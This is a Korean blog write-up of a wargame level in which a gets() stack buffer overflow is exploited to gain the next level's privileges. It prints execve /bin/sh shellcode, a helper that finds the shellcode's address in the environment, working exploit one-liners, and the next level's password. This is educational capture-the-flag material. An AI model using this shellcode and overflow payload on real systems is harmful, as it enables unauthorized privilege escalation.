Jastes 2022. 9. 14. 20:54

keyworld : gets buffer Overflow


level12 - WriteUp

์œ„ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด gets()๋ผ๋Š” ์ž…๋ ฅ๋ฐ›๋Š” ๋ถ€๋ถ„์ด ์–ด๋””๊นŒ์ง€ ์ž…๋ ฅ๋ฐ›๋Š”์ง€ ์„œ์ˆ ๋˜์ง€ ์•Š์•˜๊ธฐ์— ์ทจ์•ฝํ•จ!
์ฐธ๊ณ ๋กœ ์•ˆ์ „ํ•œ ๋ฐฉ์‹์€ gets_s๊ฐ€ ์žˆ๊ฒ ์ฃ .

์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๊ฒŒ tmp๋กœ ์˜ฎ๊ฒจ์„œ ์‹คํ–‰ํ•˜์ง€์š”

์œ„ ๋ฐฉ์‹์œผ๋กœ ํ•˜์‹œ๋ฉด ๋ณดํ†ต ์ €๋Š” intel ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ์— ๋ณด๊ธฐ ๋ถˆํŽธํ•  ์ˆ˜ ์žˆ๊ธฐ์—
๋ณ€๊ฒฝํ•˜๋Š” ๋ฐฉ์‹๋„ ์žˆ๋Š”๊ฑฐ ๊ฐ™์€๋ฐ ๊ทธ๋ƒฅ ์ „๋ถ€ํ„ฐ ์ด๋ ‡๊ฒŒ ํ–ˆ์œผ๋‹ˆ๊นŒ ๊ทธ๋ƒฅ ํ• ๊ป˜์š”

์ฒซ๋ฒˆ์งธ ๋ฐฉ์‹์œผ๋กœ๋Š” ๋ฉ”๋ชจ๋ฆฌ์— ํ• ๋‹น๋œ stack์˜ ํฌ๊ธฐ๋ฅผ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ, 0x108(264)๋กœ ํ™•์ธ ๋˜๋ฉฐ,
๋‘๋ฒˆ์งธ๋Š” gets์˜ ํ˜•์‹์ด ์žˆ๊ธฐ ์ „์— str๋กœ ์ž…๋ ฅ๋ฐ›์€ ํ˜•์‹์ด ์ธ์ž๋กœ ๋„ฃ์–ด์ง€๋Š”๋ฐ gets์˜ ํ˜•์‹์˜ ์ธ์ž์— ๋งž๊ฒŒ ๋„ฃ๊ธฐ์—
ํ™•์ธํ•ด๋ณด๋ฉด, 0xff.. ์‹ค์ œ๊ฐ’์ด๋ผ๊ธฐ์—” ๋ง์ด ์•ˆ๋˜์ฃ  ์ฆ‰, 2์˜ ๋ณด์ˆ˜๋ฒ•์œผ๋กœ ํ’€์–ด์„œ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด.. 0x108(264)

์œ„์™€ ๊ฐ™์ด ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์œผ๋กœ ebp+0x108์—์„œ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์€ ๋ฌผ๋ก  ๋” ์žˆ๊ฒ ์ง€๋งŒ ์ด์ •๋„๋กœ ํ• ๊นŒ์š”?
๊ทธ๋Ÿผ ํ•ด๋‹น gets์— ์ž…๋ ฅํ•˜๋ฉด ์–ด๋””์— esp๊ฐ€ ์žกํžˆ๋Š”์ง€ ์•Œ์•„๋ด์•ผ๊ฒ ์ฃ  ์ฐธ๊ณ ๋กœ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์€ RTL๋กœ ํ• ๊ป˜์š”

์œ„์™€ ๊ฐ™์ด ๋ธŒํฌ๋ฅผ ์žก๊ณ (์ถœ๋ ฅ ํ™•์ธํ• ๋ ค๊ณ  ์œ„์™€ ๊ฐ™์ด ์žก์•˜์–ด์š” ์–ด๋”œ ์žก๋˜ ํฐ ๋ฌธ์ œ๋Š” ์—†๊ฒ ๋‹ค๋งŒ.. ์•„๋งˆ๋„?)

์œ„์™€ ๊ฐ™์ด esp๊ฐ€ 0xbfffe140์œผ๋กœ ์žกํžŒ ๋ชจ์Šต
์ฆ‰, gets()์˜ ์‹œ์ž‘๊ฐ’์€ 0xbfffe140 ๋˜ํ•œ ๋๋‚˜๋Š” ์ง€๊ธˆ์€ 0xbfffe268+ 0xc(12)๋กœ ํฌ๊ธฐ๋„ ์•Œ๋งž์ฃ 
์ฆ‰, gets์˜ ์‹œ์ž‘ ์ฃผ์†Œ์ธ 0xbfffe140  ์™€ ์ดˆ๊ณผํ•˜๋ฉด ํ•ด๋‹น ์˜์—ญ์„ ๊ฑด๋“œ๋ฆฐ๋‹ค๋Š” ์‚ฌ์‹ค๋„!


RTL(์™ธ๋ถ€ ์ธ์ž ํ™œ์šฉ) - ํ’€์ด ๋ฐฉ์‹

์œ„ ๋ฐฉ์‹์€ ๋‹ค๋“ค ์•„์‹ค๊ฑฐ์˜ˆ์š” ๊ทธ์ „ level11์—์„œ ๋งŽ์ด ํ•œ ๋ถ€๋ถ„์ด๋‹ˆ๊นŒ ๋น ๋ฅด๊ฒŒ ์„ค์ •ํ•ด๋ด…์‹œ๋‹ค.

1
export Shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
cs

env์— ๋„ฃ์„ ์ธ์ž๋กœ ์šฐ๋ฆฌ๊ฐ€ ๊ทธ๋ƒฅ ๊ตฌ๊ธ€๋งํ•ด์„œ ์–ป์€ ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด์ค์‹œ๋‹ค
์‰˜์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด์„œ ํ•˜๊ณ  ์‹ถ๋‹ค(์—ฌ๋Ÿฌ๊ฐ€์ง€ ์ƒํ™ฉ์— ๋”ฐ๋ผ ๋” ํž˜๋“ค๊ฒ ๋‹ค๋งŒ..) ๊ทธ๋Ÿผ ์•„๋ž˜ ๋งํฌ๋กœ ใ„ฑใ„ฑ

 

Exploit Tech: Shellcode

์ต์Šคํ”Œ๋กœ์ž‡(Exploit) ํ•ดํ‚น ๋ถ„์•ผ์—์„œ ์ƒ๋Œ€ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์นจํˆฌํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์•…์šฉํ•˜๋Š” ํ•ดํ‚น๊ณผ ๋งฅ๋ฝ์ด ๊ฐ™์Œ ์ฒซ ๋ฒˆ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ ์…ธ์ฝ”๋“œ์ด๋ฉฐ, ์ง€๊ธˆ๊นŒ์ง€ ๋ฐฐ์šด ์ง€์‹์„ ์ ๊ฒ€ํ•˜๊ณ  gdb ์‚ฌ์šฉ์—

dystopia050119.tistory.com

๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ์œ„์น˜์˜ ๊ฒฝ๋กœ๋ฅผ ์•Œ๊ธฐ ์œ„ํ•˜์—ฌ ์ง  C์ฝ”๋“œ

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
 
int main(){
    char *pathvar;
 
    pathvar = getenv("Shellcode");
    printf("pathvar addr : %p", pathvar);
}
cs

 

์—ฌ๊ธฐ์„  ๋ญ.. ์œ„์น˜๊ฐ€ ๋˜์ด๋˜์ดํ•˜๊ฒŒ ๋“ค์–ด๊ฐ€๋„ค์š”;;
๊ทธ๋Ÿผ shellcode ์ฃผ์†Œ๋„ ์•Œ๊ณ  ํ•ด๋‹น bof์— ๋„ฃ์„ ๊ฐ’๋„ ์•Œ์•˜์œผ๋‹ˆ๊นŒ payload์˜ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š”..

dummy*264 + ebp(4) + shellcode addr

level11์—์„œ ํ’€๋˜ RTL์ด๋ž‘ ๋‹ค๋ฅด์ฃ ? ๋‹ค์–‘ํ•˜๊ฒŒ ํ•ด๋ด์•ผ์ฃ  ใ…Ž
๊ทธ๋Ÿผ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์งœ์‹œ๋ฉด...

Exploit code
./attackme `python -c 'print("A"*268 + "\x20\xfc\xff\xbf")'`

์•„๋งˆ ์ด๋Ÿฐ ์‹์œผ๋กœ ์•ˆ๋ ๊ฑฐ์˜ˆ์š” ๋ญ, ์ž…๋ ฅ๋ฐ›๋Š” ํ˜•์‹์ด ๋‹ฌ๋ผ์„œ๊ฒ ์ฃ ?

ayload ์ž‘์„ฑ ๋ฐฉ๋ฒ•์—๋Š” argv์™€ stdin ๋ฐฉ๋ฒ• ๋‘ ๊ฐ€์ง€๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค
level11์—์„œ๋Š” "์ธ์ž"๋กœ str ๋ณ€์ˆ˜์— ๋„ฃ์–ด์„œ [์‹คํ–‰ํŒŒ์ผ์ฃผ์†Œ `python -c 'print ~~~'`] ๊ตฌ์กฐ ํ˜•์‹
level12์—์„œ๋Š” "stdin"์œผ๋กœ ์‹คํ–‰ํŒŒ์ผ์ด ์‹œ์ž‘๋˜๊ณ  ๋‚˜์„œ ์ž…๋ ฅ [(python -c 'print ~~~';cat) | ์‹คํ–‰ํŒŒ์ผ์ฃผ์†Œ]์ด์ฃ 

๊ทผ๋ฐ ์ž๊พธ ์ด๊ฑด ํ•ด๋‹น ํด๋” ์œ„์น˜์— ๋”ฐ๋ผ ์ฃผ์†Œ๊ฐ€ ์ž๊พธ ๋ฐ”๋€Œ๋„ค์š” ๋นก์น˜๊ฒŒ
์จ‹๋“  ์ €๋Š” ์ €๋Ÿฐ ๋ฐฉ์‹์ด ์•ˆ๋˜๋‚˜..? FSB๋•Œ๋„ ๊ทธ๋žฌ๋Š”๋ฐ.. ์™œ ์ด๋Ÿด๊นŒ์š”? ์•„์‹ ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š” ใ… 

์–ด๋–ป๊ฒŒ ๋‹ค์‹œ ์‹œ๋„ ํ•ด๋ณด๋‹ˆ๊นŒ ์ด๋ฒˆ์—” ์–ผ์ถ”๋˜๋„ค์š” ์ƒ๊ฐํ•ด๋ดค๋Š”๋ฐ

๋งž๊ฒŒ ๋„ฃ์„๋ ค๋ฉด.. ์ €ํฌ์˜ ์ฝ๊ธฐ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์กด์žฌํ•˜๋Š” tmpํŒŒ์ผ์˜ ์œ„์น˜์—์„œ ํ™•์ธํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์ด
RTL์ฒ˜๋Ÿผ ํ•ด๋‹น env์— ์ ์žฌ๋œ ํ™˜๊ฒฝ์— ์œ„์น˜์— ๋งž๊ฒŒ ์ ์žฌ๋œ ์ฃผ์†Œ์— ๊ฐ’์œผ๋กœ ์ ‘์†ํ•ด์•ผํ•˜๋Š” ๊ฑฐ ๊ฐ™๋„ค์š”

(python -c 'print "\x90"*268 + "\x12\xfc\xff\xbf"';cat) | ./attackme

์œ„ ์ด๋ฏธ์ง€๋ฅผ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด level13์˜ ๊ถŒํ•œ์„ ํœผ๋ฃกํ•˜๊ฒŒ ํš๋“ํ•œ ๋ชจ์Šต!

level13 : have no clue


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Level Up free icons designed by Freepik

Download now this vector icon in SVG, PSD, PNG, EPS format or as webfonts. Flaticon, the largest database of free icons.

www.flaticon.com